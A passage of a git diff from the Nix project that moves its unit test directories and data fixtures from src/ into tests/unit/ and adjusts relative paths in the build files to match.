b/tests/unit/libexpr-support/tests/value/context.cc similarity index 100% rename from src/nix-expr-test-support/tests/value/context.cc rename to tests/unit/libexpr-support/tests/value/context.cc diff --git a/src/nix-expr-test-support/tests/value/context.hh b/tests/unit/libexpr-support/tests/value/context.hh similarity index 100% rename from src/nix-expr-test-support/tests/value/context.hh rename to tests/unit/libexpr-support/tests/value/context.hh diff --git a/tests/unit/libexpr/.version b/tests/unit/libexpr/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libexpr/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/tests/unit/libexpr/build-utils-meson b/tests/unit/libexpr/build-utils-meson new file mode 120000 index 000000000..f2d8e8a50 --- /dev/null +++ b/tests/unit/libexpr/build-utils-meson @@ -0,0 +1 @@ +../../../build-utils-meson/ \ No newline at end of file diff --git a/src/nix-expr-tests/data/.gitkeep b/tests/unit/libexpr/data/.gitkeep similarity index 100% rename from src/nix-expr-tests/data/.gitkeep rename to tests/unit/libexpr/data/.gitkeep diff --git a/src/nix-expr-tests/derived-path.cc b/tests/unit/libexpr/derived-path.cc similarity index 100% rename from src/nix-expr-tests/derived-path.cc rename to tests/unit/libexpr/derived-path.cc diff --git a/src/nix-expr-tests/error_traces.cc b/tests/unit/libexpr/error_traces.cc similarity index 100% rename from src/nix-expr-tests/error_traces.cc rename to tests/unit/libexpr/error_traces.cc diff --git a/src/nix-expr-tests/eval.cc b/tests/unit/libexpr/eval.cc similarity index 100% rename from src/nix-expr-tests/eval.cc rename to tests/unit/libexpr/eval.cc diff --git a/src/nix-expr-tests/json.cc b/tests/unit/libexpr/json.cc similarity index 100% rename from src/nix-expr-tests/json.cc rename to tests/unit/libexpr/json.cc diff --git a/src/nix-expr-tests/main.cc b/tests/unit/libexpr/main.cc similarity index 100% rename from src/nix-expr-tests/main.cc rename to tests/unit/libexpr/main.cc diff --git a/src/nix-expr-tests/meson.build b/tests/unit/libexpr/meson.build similarity index 100% rename from src/nix-expr-tests/meson.build rename to tests/unit/libexpr/meson.build diff --git a/src/nix-expr-tests/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc similarity index 100% rename from src/nix-expr-tests/nix_api_expr.cc rename to tests/unit/libexpr/nix_api_expr.cc diff --git a/src/nix-expr-tests/nix_api_external.cc b/tests/unit/libexpr/nix_api_external.cc similarity index 100% rename from src/nix-expr-tests/nix_api_external.cc rename to tests/unit/libexpr/nix_api_external.cc diff --git a/src/nix-expr-tests/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc similarity index 100% rename from src/nix-expr-tests/nix_api_value.cc rename to tests/unit/libexpr/nix_api_value.cc diff --git a/src/nix-expr-tests/package.nix b/tests/unit/libexpr/package.nix similarity index 94% rename from src/nix-expr-tests/package.nix rename to tests/unit/libexpr/package.nix index ddd79fd55..1667dc77e 100644 --- a/src/nix-expr-tests/package.nix +++ b/tests/unit/libexpr/package.nix @@ -32,9 +32,9 @@ mkMesonDerivation (finalAttrs: { workDir = ./.; fileset = fileset.unions [ - ../../build-utils-meson + ../../../build-utils-meson ./build-utils-meson - ../../.version + ../../../.version ./.version ./meson.build # ./meson.options @@ -63,7 +63,7 @@ mkMesonDerivation (finalAttrs: { # Do the meson utils, without modification. '' chmod u+w ./.version - echo ${version} > ../../.version + echo ${version} > ../../../.version ''; mesonFlags = [ diff --git a/src/nix-expr-tests/primops.cc b/tests/unit/libexpr/primops.cc similarity index 100% rename from src/nix-expr-tests/primops.cc rename to tests/unit/libexpr/primops.cc diff --git a/src/nix-expr-tests/search-path.cc b/tests/unit/libexpr/search-path.cc similarity index 100% rename from src/nix-expr-tests/search-path.cc rename to tests/unit/libexpr/search-path.cc diff --git a/src/nix-expr-tests/trivial.cc b/tests/unit/libexpr/trivial.cc similarity index 100% rename from src/nix-expr-tests/trivial.cc rename to tests/unit/libexpr/trivial.cc diff --git a/src/nix-expr-tests/value/context.cc b/tests/unit/libexpr/value/context.cc similarity index 100% rename from src/nix-expr-tests/value/context.cc rename to tests/unit/libexpr/value/context.cc diff --git a/src/nix-expr-tests/value/print.cc b/tests/unit/libexpr/value/print.cc similarity index 100% rename from src/nix-expr-tests/value/print.cc rename to tests/unit/libexpr/value/print.cc diff --git a/src/nix-expr-tests/value/value.cc b/tests/unit/libexpr/value/value.cc similarity index 100% rename from src/nix-expr-tests/value/value.cc rename to tests/unit/libexpr/value/value.cc diff --git a/tests/unit/libfetchers/.version b/tests/unit/libfetchers/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libfetchers/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/tests/unit/libfetchers/build-utils-meson b/tests/unit/libfetchers/build-utils-meson new file mode 120000 index 000000000..f2d8e8a50 --- /dev/null +++ b/tests/unit/libfetchers/build-utils-meson @@ -0,0 +1 @@ +../../../build-utils-meson/ \ No newline at end of file diff --git a/src/nix-fetchers-tests/data/public-key/defaultType.json b/tests/unit/libfetchers/data/public-key/defaultType.json similarity index 100% rename from src/nix-fetchers-tests/data/public-key/defaultType.json rename to tests/unit/libfetchers/data/public-key/defaultType.json diff --git a/src/nix-fetchers-tests/data/public-key/noRoundTrip.json b/tests/unit/libfetchers/data/public-key/noRoundTrip.json similarity index 100% rename from src/nix-fetchers-tests/data/public-key/noRoundTrip.json rename to tests/unit/libfetchers/data/public-key/noRoundTrip.json diff --git a/src/nix-fetchers-tests/data/public-key/simple.json b/tests/unit/libfetchers/data/public-key/simple.json similarity index 100% rename from src/nix-fetchers-tests/data/public-key/simple.json rename to tests/unit/libfetchers/data/public-key/simple.json diff --git a/src/nix-fetchers-tests/meson.build b/tests/unit/libfetchers/meson.build similarity index 100% rename from src/nix-fetchers-tests/meson.build rename to tests/unit/libfetchers/meson.build diff --git a/src/nix-fetchers-tests/package.nix b/tests/unit/libfetchers/package.nix similarity index 94% rename from src/nix-fetchers-tests/package.nix rename to tests/unit/libfetchers/package.nix index 759743a8b..e9daacaeb 100644 --- a/src/nix-fetchers-tests/package.nix +++ b/tests/unit/libfetchers/package.nix @@ -31,9 +31,9 @@ mkMesonDerivation (finalAttrs: { workDir = ./.; fileset = fileset.unions [ - ../../build-utils-meson + ../../../build-utils-meson ./build-utils-meson - ../../.version + ../../../.version ./.version ./meson.build # ./meson.options @@ -61,7 +61,7 @@ mkMesonDerivation (finalAttrs: { # Do the meson utils, without modification. '' chmod u+w ./.version - echo ${version} > ../../.version + echo ${version} > ../../../.version ''; mesonFlags = [ diff --git a/src/nix-fetchers-tests/public-key.cc b/tests/unit/libfetchers/public-key.cc similarity index 100% rename from src/nix-fetchers-tests/public-key.cc rename to tests/unit/libfetchers/public-key.cc diff --git a/tests/unit/libflake/.version b/tests/unit/libflake/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libflake/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/tests/unit/libflake/build-utils-meson b/tests/unit/libflake/build-utils-meson new file mode 120000 index 000000000..f2d8e8a50 --- /dev/null +++ b/tests/unit/libflake/build-utils-meson @@ -0,0 +1 @@ +../../../build-utils-meson/ \ No newline at end of file diff --git a/src/nix-flake-tests/data/.gitkeep b/tests/unit/libflake/data/.gitkeep similarity index 100% rename from src/nix-flake-tests/data/.gitkeep rename to tests/unit/libflake/data/.gitkeep diff --git a/src/nix-flake-tests/flakeref.cc b/tests/unit/libflake/flakeref.cc similarity index 100% rename from src/nix-flake-tests/flakeref.cc rename to tests/unit/libflake/flakeref.cc diff --git a/src/nix-flake-tests/meson.build b/tests/unit/libflake/meson.build similarity index 100% rename from src/nix-flake-tests/meson.build rename to tests/unit/libflake/meson.build diff --git a/src/nix-flake-tests/package.nix b/tests/unit/libflake/package.nix similarity index 94% rename from src/nix-flake-tests/package.nix rename to tests/unit/libflake/package.nix index a7783593a..c2bcc8eb8 100644 --- a/src/nix-flake-tests/package.nix +++ b/tests/unit/libflake/package.nix @@ -31,9 +31,9 @@ mkMesonDerivation (finalAttrs: { workDir = ./.; fileset = fileset.unions [ - ../../build-utils-meson + ../../../build-utils-meson ./build-utils-meson - ../../.version + ../../../.version ./.version ./meson.build # ./meson.options @@ -61,7 +61,7 @@ mkMesonDerivation (finalAttrs: { # Do the meson utils, without modification. '' chmod u+w ./.version - echo ${version} > ../../.version + echo ${version} > ../../../.version ''; mesonFlags = [ diff --git a/src/nix-flake-tests/url-name.cc b/tests/unit/libflake/url-name.cc similarity index 100% rename from src/nix-flake-tests/url-name.cc rename to tests/unit/libflake/url-name.cc diff --git a/tests/unit/libstore-support/.version b/tests/unit/libstore-support/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libstore-support/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/tests/unit/libstore-support/build-utils-meson b/tests/unit/libstore-support/build-utils-meson new file mode 120000 index 000000000..f2d8e8a50 --- /dev/null +++ b/tests/unit/libstore-support/build-utils-meson @@ -0,0 +1 @@ +../../../build-utils-meson/ \ No newline at end of file diff --git a/src/nix-store-test-support/meson.build b/tests/unit/libstore-support/meson.build similarity index 100% rename from src/nix-store-test-support/meson.build rename to tests/unit/libstore-support/meson.build diff --git a/src/nix-store-test-support/package.nix b/tests/unit/libstore-support/package.nix similarity index 93% rename from src/nix-store-test-support/package.nix rename to tests/unit/libstore-support/package.nix index 250f29b86..f3a5bfc82 100644 --- a/src/nix-store-test-support/package.nix +++ b/tests/unit/libstore-support/package.nix @@ -29,9 +29,9 @@ mkMesonDerivation (finalAttrs: { workDir = ./.; fileset = fileset.unions [ - ../../build-utils-meson + ../../../build-utils-meson ./build-utils-meson - ../../.version + ../../../.version ./.version ./meson.build # ./meson.options @@ -58,7 +58,7 @@ mkMesonDerivation (finalAttrs: { # Do the meson utils, without modification. '' chmod u+w ./.version - echo ${version} > ../../.version + echo ${version} > ../../../.version ''; mesonFlags = [ diff --git a/src/nix-store-test-support/tests/derived-path.cc b/tests/unit/libstore-support/tests/derived-path.cc similarity index 100% rename from src/nix-store-test-support/tests/derived-path.cc rename to tests/unit/libstore-support/tests/derived-path.cc diff --git a/src/nix-store-test-support/tests/derived-path.hh b/tests/unit/libstore-support/tests/derived-path.hh similarity index 100% rename from src/nix-store-test-support/tests/derived-path.hh rename to tests/unit/libstore-support/tests/derived-path.hh diff --git a/src/nix-store-test-support/tests/libstore.hh b/tests/unit/libstore-support/tests/libstore.hh similarity index 100% rename from src/nix-store-test-support/tests/libstore.hh rename to tests/unit/libstore-support/tests/libstore.hh diff --git a/src/nix-store-test-support/tests/nix_api_store.hh b/tests/unit/libstore-support/tests/nix_api_store.hh similarity index 100% rename from src/nix-store-test-support/tests/nix_api_store.hh rename to tests/unit/libstore-support/tests/nix_api_store.hh diff --git a/src/nix-store-test-support/tests/outputs-spec.cc b/tests/unit/libstore-support/tests/outputs-spec.cc similarity index 100% rename from src/nix-store-test-support/tests/outputs-spec.cc rename to tests/unit/libstore-support/tests/outputs-spec.cc diff --git a/src/nix-store-test-support/tests/outputs-spec.hh b/tests/unit/libstore-support/tests/outputs-spec.hh similarity index 100% rename from src/nix-store-test-support/tests/outputs-spec.hh rename to tests/unit/libstore-support/tests/outputs-spec.hh diff --git a/src/nix-store-test-support/tests/path.cc b/tests/unit/libstore-support/tests/path.cc similarity index 100% rename from src/nix-store-test-support/tests/path.cc rename to tests/unit/libstore-support/tests/path.cc diff --git a/src/nix-store-test-support/tests/path.hh b/tests/unit/libstore-support/tests/path.hh similarity index 100% rename from src/nix-store-test-support/tests/path.hh rename to tests/unit/libstore-support/tests/path.hh diff --git a/src/nix-store-test-support/tests/protocol.hh b/tests/unit/libstore-support/tests/protocol.hh similarity index 100% rename from src/nix-store-test-support/tests/protocol.hh rename to tests/unit/libstore-support/tests/protocol.hh diff --git a/tests/unit/libstore/.version b/tests/unit/libstore/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libstore/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/tests/unit/libstore/build-utils-meson b/tests/unit/libstore/build-utils-meson new file mode 120000 index 000000000..f2d8e8a50 --- /dev/null +++ b/tests/unit/libstore/build-utils-meson @@ -0,0 +1 @@ +../../../build-utils-meson/ \ No newline at end of file diff --git a/src/nix-store-tests/common-protocol.cc b/tests/unit/libstore/common-protocol.cc similarity index 100% rename from src/nix-store-tests/common-protocol.cc rename to tests/unit/libstore/common-protocol.cc diff --git a/src/nix-store-tests/content-address.cc b/tests/unit/libstore/content-address.cc similarity index 100% rename from src/nix-store-tests/content-address.cc rename to tests/unit/libstore/content-address.cc diff --git a/src/nix-store-tests/data/common-protocol/content-address.bin b/tests/unit/libstore/data/common-protocol/content-address.bin similarity index 100% rename from src/nix-store-tests/data/common-protocol/content-address.bin rename to tests/unit/libstore/data/common-protocol/content-address.bin diff --git a/src/nix-store-tests/data/common-protocol/drv-output.bin b/tests/unit/libstore/data/common-protocol/drv-output.bin similarity index 100% rename from src/nix-store-tests/data/common-protocol/drv-output.bin rename to tests/unit/libstore/data/common-protocol/drv-output.bin diff --git a/src/nix-store-tests/data/common-protocol/optional-content-address.bin b/tests/unit/libstore/data/common-protocol/optional-content-address.bin similarity index 100% rename from src/nix-store-tests/data/common-protocol/optional-content-address.bin rename to tests/unit/libstore/data/common-protocol/optional-content-address.bin diff --git a/src/nix-store-tests/data/common-protocol/optional-store-path.bin b/tests/unit/libstore/data/common-protocol/optional-store-path.bin similarity index 100% rename from src/nix-store-tests/data/common-protocol/optional-store-path.bin rename to tests/unit/libstore/data/common-protocol/optional-store-path.bin diff --git a/src/nix-store-tests/data/common-protocol/realisation.bin b/tests/unit/libstore/data/common-protocol/realisation.bin similarity index 100% rename from src/nix-store-tests/data/common-protocol/realisation.bin rename to tests/unit/libstore/data/common-protocol/realisation.bin diff --git a/src/nix-store-tests/data/common-protocol/set.bin b/tests/unit/libstore/data/common-protocol/set.bin similarity index 100% rename from src/nix-store-tests/data/common-protocol/set.bin rename to tests/unit/libstore/data/common-protocol/set.bin diff --git a/src/nix-store-tests/data/common-protocol/store-path.bin b/tests/unit/libstore/data/common-protocol/store-path.bin similarity index 100% rename from src/nix-store-tests/data/common-protocol/store-path.bin rename to tests/unit/libstore/data/common-protocol/store-path.bin diff --git a/src/nix-store-tests/data/common-protocol/string.bin b/tests/unit/libstore/data/common-protocol/string.bin similarity index 100% rename from src/nix-store-tests/data/common-protocol/string.bin rename to tests/unit/libstore/data/common-protocol/string.bin diff --git a/src/nix-store-tests/data/common-protocol/vector.bin b/tests/unit/libstore/data/common-protocol/vector.bin similarity index 100% rename from src/nix-store-tests/data/common-protocol/vector.bin rename to tests/unit/libstore/data/common-protocol/vector.bin diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv new file mode 120000 index 000000000..353090ad8 --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv @@ -0,0 +1 @@ +../../../../functional/derivation/advanced-attributes-defaults.drv \ No newline at end of file diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-defaults.json b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.json similarity index 100% rename from src/nix-store-tests/data/derivation/advanced-attributes-defaults.json rename to tests/unit/libstore/data/derivation/advanced-attributes-defaults.json diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv new file mode 120000 index 000000000..11713da12 --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv @@ -0,0 +1 @@ +../../../../functional/derivation/advanced-attributes-structured-attrs-defaults.drv \ No newline at end of file diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.json b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json similarity index 100% rename from src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.json rename to tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv new file mode 120000 index 000000000..962f8ea3f --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv @@ -0,0 +1 @@ +../../../../functional/derivation/advanced-attributes-structured-attrs.drv \ No newline at end of file diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.json b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json similarity index 100% rename from src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.json rename to tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json diff --git a/tests/unit/libstore/data/derivation/advanced-attributes.drv b/tests/unit/libstore/data/derivation/advanced-attributes.drv new file mode 120000 index 000000000..2a53a05ca --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes.drv @@ -0,0 +1 @@ +../../../../functional/derivation/advanced-attributes.drv \ No newline at end of file diff --git a/src/nix-store-tests/data/derivation/bad-old-version-dyn-deps.drv b/tests/unit/libstore/data/derivation/bad-old-version-dyn-deps.drv similarity index 100% rename from src/nix-store-tests/data/derivation/bad-old-version-dyn-deps.drv rename to tests/unit/libstore/data/derivation/bad-old-version-dyn-deps.drv diff --git a/src/nix-store-tests/data/derivation/bad-version.drv b/tests/unit/libstore/data/derivation/bad-version.drv similarity index 100% rename from src/nix-store-tests/data/derivation/bad-version.drv rename to tests/unit/libstore/data/derivation/bad-version.drv diff --git a/src/nix-store-tests/data/derivation/dynDerivationDeps.drv b/tests/unit/libstore/data/derivation/dynDerivationDeps.drv similarity index 100% rename from src/nix-store-tests/data/derivation/dynDerivationDeps.drv rename to tests/unit/libstore/data/derivation/dynDerivationDeps.drv diff --git a/src/nix-store-tests/data/derivation/dynDerivationDeps.json b/tests/unit/libstore/data/derivation/dynDerivationDeps.json similarity index 100% rename from src/nix-store-tests/data/derivation/dynDerivationDeps.json rename to tests/unit/libstore/data/derivation/dynDerivationDeps.json diff --git a/src/nix-store-tests/data/derivation/output-caFixedFlat.json b/tests/unit/libstore/data/derivation/output-caFixedFlat.json similarity index 100% rename from src/nix-store-tests/data/derivation/output-caFixedFlat.json rename to tests/unit/libstore/data/derivation/output-caFixedFlat.json diff --git a/src/nix-store-tests/data/derivation/output-caFixedNAR.json b/tests/unit/libstore/data/derivation/output-caFixedNAR.json similarity index 100% rename from src/nix-store-tests/data/derivation/output-caFixedNAR.json rename to tests/unit/libstore/data/derivation/output-caFixedNAR.json diff --git a/src/nix-store-tests/data/derivation/output-caFixedText.json b/tests/unit/libstore/data/derivation/output-caFixedText.json similarity index 100% rename from src/nix-store-tests/data/derivation/output-caFixedText.json rename to tests/unit/libstore/data/derivation/output-caFixedText.json diff --git a/src/nix-store-tests/data/derivation/output-caFloating.json b/tests/unit/libstore/data/derivation/output-caFloating.json similarity index 100% rename from src/nix-store-tests/data/derivation/output-caFloating.json rename to tests/unit/libstore/data/derivation/output-caFloating.json diff --git a/src/nix-store-tests/data/derivation/output-deferred.json b/tests/unit/libstore/data/derivation/output-deferred.json similarity index 100% rename from src/nix-store-tests/data/derivation/output-deferred.json rename to tests/unit/libstore/data/derivation/output-deferred.json diff --git a/src/nix-store-tests/data/derivation/output-impure.json b/tests/unit/libstore/data/derivation/output-impure.json similarity index 100% rename from src/nix-store-tests/data/derivation/output-impure.json rename to tests/unit/libstore/data/derivation/output-impure.json diff --git a/src/nix-store-tests/data/derivation/output-inputAddressed.json b/tests/unit/libstore/data/derivation/output-inputAddressed.json similarity index 100% rename from src/nix-store-tests/data/derivation/output-inputAddressed.json rename to tests/unit/libstore/data/derivation/output-inputAddressed.json diff --git a/src/nix-store-tests/data/derivation/simple.drv b/tests/unit/libstore/data/derivation/simple.drv similarity index 100% rename from src/nix-store-tests/data/derivation/simple.drv rename to tests/unit/libstore/data/derivation/simple.drv diff --git a/src/nix-store-tests/data/derivation/simple.json b/tests/unit/libstore/data/derivation/simple.json similarity index 100% rename from src/nix-store-tests/data/derivation/simple.json rename to tests/unit/libstore/data/derivation/simple.json diff --git a/src/nix-store-tests/data/machines/bad_format b/tests/unit/libstore/data/machines/bad_format similarity index 100% rename from src/nix-store-tests/data/machines/bad_format rename to tests/unit/libstore/data/machines/bad_format diff --git a/src/nix-store-tests/data/machines/valid b/tests/unit/libstore/data/machines/valid similarity index 100% rename from src/nix-store-tests/data/machines/valid rename to tests/unit/libstore/data/machines/valid diff --git a/src/nix-store-tests/data/nar-info/impure.json b/tests/unit/libstore/data/nar-info/impure.json similarity index 100% rename from src/nix-store-tests/data/nar-info/impure.json rename to tests/unit/libstore/data/nar-info/impure.json diff --git a/src/nix-store-tests/data/nar-info/pure.json b/tests/unit/libstore/data/nar-info/pure.json similarity index 100% rename from src/nix-store-tests/data/nar-info/pure.json rename to tests/unit/libstore/data/nar-info/pure.json diff --git a/src/nix-store-tests/data/path-info/empty_impure.json b/tests/unit/libstore/data/path-info/empty_impure.json similarity index 100% rename from src/nix-store-tests/data/path-info/empty_impure.json rename to tests/unit/libstore/data/path-info/empty_impure.json diff --git a/src/nix-store-tests/data/path-info/empty_pure.json b/tests/unit/libstore/data/path-info/empty_pure.json similarity index 100% rename from src/nix-store-tests/data/path-info/empty_pure.json rename to tests/unit/libstore/data/path-info/empty_pure.json diff --git a/src/nix-store-tests/data/path-info/impure.json b/tests/unit/libstore/data/path-info/impure.json similarity index 100% rename from src/nix-store-tests/data/path-info/impure.json rename to tests/unit/libstore/data/path-info/impure.json diff --git a/src/nix-store-tests/data/path-info/pure.json b/tests/unit/libstore/data/path-info/pure.json similarity index 100% rename from src/nix-store-tests/data/path-info/pure.json rename to tests/unit/libstore/data/path-info/pure.json diff --git a/src/nix-store-tests/data/serve-protocol/build-options-2.1.bin b/tests/unit/libstore/data/serve-protocol/build-options-2.1.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/build-options-2.1.bin rename to tests/unit/libstore/data/serve-protocol/build-options-2.1.bin diff --git a/src/nix-store-tests/data/serve-protocol/build-options-2.2.bin b/tests/unit/libstore/data/serve-protocol/build-options-2.2.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/build-options-2.2.bin rename to tests/unit/libstore/data/serve-protocol/build-options-2.2.bin diff --git a/src/nix-store-tests/data/serve-protocol/build-options-2.3.bin b/tests/unit/libstore/data/serve-protocol/build-options-2.3.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/build-options-2.3.bin rename to tests/unit/libstore/data/serve-protocol/build-options-2.3.bin diff --git a/src/nix-store-tests/data/serve-protocol/build-options-2.7.bin b/tests/unit/libstore/data/serve-protocol/build-options-2.7.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/build-options-2.7.bin rename to tests/unit/libstore/data/serve-protocol/build-options-2.7.bin diff --git a/src/nix-store-tests/data/serve-protocol/build-result-2.2.bin b/tests/unit/libstore/data/serve-protocol/build-result-2.2.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/build-result-2.2.bin rename to tests/unit/libstore/data/serve-protocol/build-result-2.2.bin diff --git a/src/nix-store-tests/data/serve-protocol/build-result-2.3.bin b/tests/unit/libstore/data/serve-protocol/build-result-2.3.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/build-result-2.3.bin rename to tests/unit/libstore/data/serve-protocol/build-result-2.3.bin diff --git a/src/nix-store-tests/data/serve-protocol/build-result-2.6.bin b/tests/unit/libstore/data/serve-protocol/build-result-2.6.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/build-result-2.6.bin rename to tests/unit/libstore/data/serve-protocol/build-result-2.6.bin diff --git a/src/nix-store-tests/data/serve-protocol/content-address.bin b/tests/unit/libstore/data/serve-protocol/content-address.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/content-address.bin rename to tests/unit/libstore/data/serve-protocol/content-address.bin diff --git a/src/nix-store-tests/data/serve-protocol/drv-output.bin b/tests/unit/libstore/data/serve-protocol/drv-output.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/drv-output.bin rename to tests/unit/libstore/data/serve-protocol/drv-output.bin diff --git a/src/nix-store-tests/data/serve-protocol/handshake-to-client.bin b/tests/unit/libstore/data/serve-protocol/handshake-to-client.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/handshake-to-client.bin rename to tests/unit/libstore/data/serve-protocol/handshake-to-client.bin diff --git a/src/nix-store-tests/data/serve-protocol/optional-content-address.bin b/tests/unit/libstore/data/serve-protocol/optional-content-address.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/optional-content-address.bin rename to tests/unit/libstore/data/serve-protocol/optional-content-address.bin diff --git a/src/nix-store-tests/data/serve-protocol/optional-store-path.bin b/tests/unit/libstore/data/serve-protocol/optional-store-path.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/optional-store-path.bin rename to tests/unit/libstore/data/serve-protocol/optional-store-path.bin diff --git a/src/nix-store-tests/data/serve-protocol/realisation.bin b/tests/unit/libstore/data/serve-protocol/realisation.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/realisation.bin rename to tests/unit/libstore/data/serve-protocol/realisation.bin diff --git a/src/nix-store-tests/data/serve-protocol/set.bin b/tests/unit/libstore/data/serve-protocol/set.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/set.bin rename to tests/unit/libstore/data/serve-protocol/set.bin diff --git a/src/nix-store-tests/data/serve-protocol/store-path.bin b/tests/unit/libstore/data/serve-protocol/store-path.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/store-path.bin rename to tests/unit/libstore/data/serve-protocol/store-path.bin diff --git a/src/nix-store-tests/data/serve-protocol/string.bin b/tests/unit/libstore/data/serve-protocol/string.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/string.bin rename to tests/unit/libstore/data/serve-protocol/string.bin diff --git a/src/nix-store-tests/data/serve-protocol/unkeyed-valid-path-info-2.3.bin b/tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.3.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/unkeyed-valid-path-info-2.3.bin rename to tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.3.bin diff --git a/src/nix-store-tests/data/serve-protocol/unkeyed-valid-path-info-2.4.bin b/tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.4.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/unkeyed-valid-path-info-2.4.bin rename to tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.4.bin diff --git a/src/nix-store-tests/data/serve-protocol/vector.bin b/tests/unit/libstore/data/serve-protocol/vector.bin similarity index 100% rename from src/nix-store-tests/data/serve-protocol/vector.bin rename to tests/unit/libstore/data/serve-protocol/vector.bin diff --git a/src/nix-store-tests/data/store-reference/auto.txt b/tests/unit/libstore/data/store-reference/auto.txt similarity index 100% rename from src/nix-store-tests/data/store-reference/auto.txt rename to tests/unit/libstore/data/store-reference/auto.txt diff --git a/src/nix-store-tests/data/store-reference/auto_param.txt b/tests/unit/libstore/data/store-reference/auto_param.txt similarity index 100% rename from src/nix-store-tests/data/store-reference/auto_param.txt rename to tests/unit/libstore/data/store-reference/auto_param.txt diff --git a/src/nix-store-tests/data/store-reference/local_1.txt b/tests/unit/libstore/data/store-reference/local_1.txt similarity index 100% rename from src/nix-store-tests/data/store-reference/local_1.txt rename to tests/unit/libstore/data/store-reference/local_1.txt diff --git a/src/nix-store-tests/data/store-reference/local_2.txt b/tests/unit/libstore/data/store-reference/local_2.txt similarity index 100% rename from src/nix-store-tests/data/store-reference/local_2.txt rename to tests/unit/libstore/data/store-reference/local_2.txt diff --git a/src/nix-store-tests/data/store-reference/local_shorthand_1.txt b/tests/unit/libstore/data/store-reference/local_shorthand_1.txt similarity index 100% rename from src/nix-store-tests/data/store-reference/local_shorthand_1.txt rename to tests/unit/libstore/data/store-reference/local_shorthand_1.txt diff --git a/src/nix-store-tests/data/store-reference/local_shorthand_2.txt b/tests/unit/libstore/data/store-reference/local_shorthand_2.txt similarity index 100% rename from src/nix-store-tests/data/store-reference/local_shorthand_2.txt rename to tests/unit/libstore/data/store-reference/local_shorthand_2.txt diff --git a/src/nix-store-tests/data/store-reference/ssh.txt b/tests/unit/libstore/data/store-reference/ssh.txt similarity index 100% rename from src/nix-store-tests/data/store-reference/ssh.txt rename to tests/unit/libstore/data/store-reference/ssh.txt diff --git a/src/nix-store-tests/data/store-reference/unix.txt b/tests/unit/libstore/data/store-reference/unix.txt similarity index 100% rename from src/nix-store-tests/data/store-reference/unix.txt rename to tests/unit/libstore/data/store-reference/unix.txt diff --git a/src/nix-store-tests/data/store-reference/unix_shorthand.txt b/tests/unit/libstore/data/store-reference/unix_shorthand.txt similarity index 100% rename from src/nix-store-tests/data/store-reference/unix_shorthand.txt rename to tests/unit/libstore/data/store-reference/unix_shorthand.txt diff --git a/src/nix-store-tests/data/worker-protocol/build-mode.bin b/tests/unit/libstore/data/worker-protocol/build-mode.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/build-mode.bin rename to tests/unit/libstore/data/worker-protocol/build-mode.bin diff --git a/src/nix-store-tests/data/worker-protocol/build-result-1.27.bin b/tests/unit/libstore/data/worker-protocol/build-result-1.27.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/build-result-1.27.bin rename to tests/unit/libstore/data/worker-protocol/build-result-1.27.bin diff --git a/src/nix-store-tests/data/worker-protocol/build-result-1.28.bin b/tests/unit/libstore/data/worker-protocol/build-result-1.28.bin similarity index 100% rename from src/nix-store-tests/data/worker-protocol/build-result-1.28.bin 